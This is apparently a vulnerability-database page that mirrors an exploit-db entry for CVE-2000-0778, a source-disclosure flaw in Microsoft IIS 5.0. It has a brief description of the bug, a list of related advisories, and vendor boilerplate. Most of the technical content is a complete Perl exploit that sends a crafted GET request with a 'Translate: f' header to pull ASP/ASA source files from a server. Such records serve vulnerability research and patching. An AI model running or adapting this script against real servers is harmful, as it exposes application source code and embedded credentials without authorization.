Microsoft IIS 5.0 - 'Translate: f' Source Disclosure (2)
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| ASP/ASA Source Using Microsoft Translate f: bug (IIS 5.1) | 8 Sep 200500:00 | – | nessus | |
| Microsoft IIS Translate f: ASP/ASA Source Disclosure | 23 Aug 200000:00 | – | nessus | |
| Microsoft IIS Translate f: ASP/ASA Source Disclosure (IIS 5.1) | 8 Sep 200500:00 | – | nessus | |
| CVE-2000-0778 | 13 Oct 200004:00 | – | cve | |
| CVE-2000-0778 | 13 Oct 200004:00 | – | cvelist | |
| Microsoft IIS 5.0 - 'Translate: f' Source Disclosure (1) | 14 Aug 200000:00 | – | exploitdb | |
| CVE-2000-0778 | 20 Oct 200004:00 | – | nvd | |
| ASP/ASA source using Microsoft Translate f: bug | 3 Nov 200500:00 | – | openvas | |
| Microsoft IIS Information Disclosure Vulnerability (MS00-058) - Active Check | 15 Mar 200900:00 | – | openvas | |
| ASP/ASA source using Microsoft Translate f: bug - Active Check | 3 Nov 200500:00 | – | openvas |
source: https://www.securityfocus.com/bid/1578/info
Microsoft IIS 5.0 has a dedicated scripting engine for advanced file types such as ASP, ASA, HTR, etc. files. The scripting engines handle requests for these file types, processes them accordingly, and then executes them on the server.
It is possible to force the server to send back the source of known scriptable files to the client if the HTTP GET request contains a specialized header with 'Translate: f' at the end of it, and if a trailing slash '/' is appended to the end of the URL. The scripting engine will be able to locate the requested file, however, it will not recognize it as a file that needs to be processed and will proceed to send the file source to the client.
#!/usr/bin/perl
use Socket;
####test arguments
if ($#ARGV != 2) {die "usage: DNS_name/IP file_to_get port\n";}
#####load values
$host = @ARGV[0];$port = @ARGV[2];$target = inet_aton($host);$toget= @ARGV[1];
#####build request
$xtosend=<<EOT
GET /$toget\\ HTTP/1.0
Host: $host
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
Translate: f
EOT
;
$xtosend=~s/\n/\r\n/g;
####send request
#print $xtosend;
my @results=sendraw($xtosend);
print @results;
#### Sendraw - thanx RFP [email protected]
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;
print STDOUT "." if(defined $args{X});}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.86409